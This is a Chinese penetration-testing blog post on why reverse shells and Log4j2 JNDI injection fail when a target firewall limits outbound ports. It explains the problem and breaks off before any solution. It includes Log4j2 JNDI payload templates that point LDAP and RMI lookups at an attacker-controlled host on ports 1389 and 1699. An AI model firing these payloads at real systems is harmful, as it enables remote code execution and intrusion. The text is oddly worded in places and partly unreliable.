在实际渗透测试渗透中碰到的SRC无法出网

          在很多次攻防实战演练或是SRC挖掘环节中,遇上RCE要想反弹bash或是jndi注入时,仅有dnslog会产生有用回连,自己nc监听的服务器端口却没什么响应,这就很有可能遇上了目标服务器防火墙限止出网服务器端口的情景。dnslog并不是限止出网服务器端口的,因此不在这篇文章的探讨范围内,此外这篇文章也并不牵涉探讨高版本号JDK限止JNDI注入remotecodebase的情景。高义薄云,例如目标只限止80服务器端口出网,但你nc监听的是80之外的服务器端口(例如7070),那样这种现象下,反弹bash当然无法取得成功。绝大多数人的解决办法是试着应用nc-vlp常用端口的形式开展试着,例如80、445等。可是许多目标这种常用服务器端口都未必可以网络放行,根据这种现象下,很有可能判断目标服务器不出网进而错过RCE的时机。就拿近期爆红的log4j2的RCE开展举例说明。

basepayload大概是这种的.
outputo-20220106-093341-404-toub.png

${jndi:ldap://dnslog地址:端口/expclass}

由于ldap和rmi协议默认设置的端口分别是1389和1699,因此绝大多数人的payload均为以下这种

${jndi:ldap://dnslog地址:1389/expclass}

${jndi:rmi://dnslog地址:1699/expclass}

但事实上许多公司的服务器防火墙都是会设定出网标准,只容许指定服务器端口出网,尤其是某些云厂商就更加清晰,由于其给予了服务器防火墙面板公司可以更加便捷的操纵出入站标准。

图中为腾讯云服务器防火墙默认设置的出入站标准,可以了解为23、80、445等服务器端口,并不包含1389、1699等服务器端口。假如应用1389、1699等服务器端口监听ldap、rmi服务,不言而喻的可以得到无法攻击取得成功的结果。

黑盒测试方法时无法了解目标服务器的服务器防火墙标准,那样只能应用nc-lvpport在vps打开服务器端口监听,搭配burpsuite的repeater模块不断的试着,每换个服务器端口就须要ctrl+c停止一下下nc进程,再换下1个,可以说是累到不得了的。很有可能有些人想问,nc难不成不兼容监听好几个服务器端口或是全服务器端口吗?实际上许多人问过这个问题,殊不知实际上不兼容。

分享: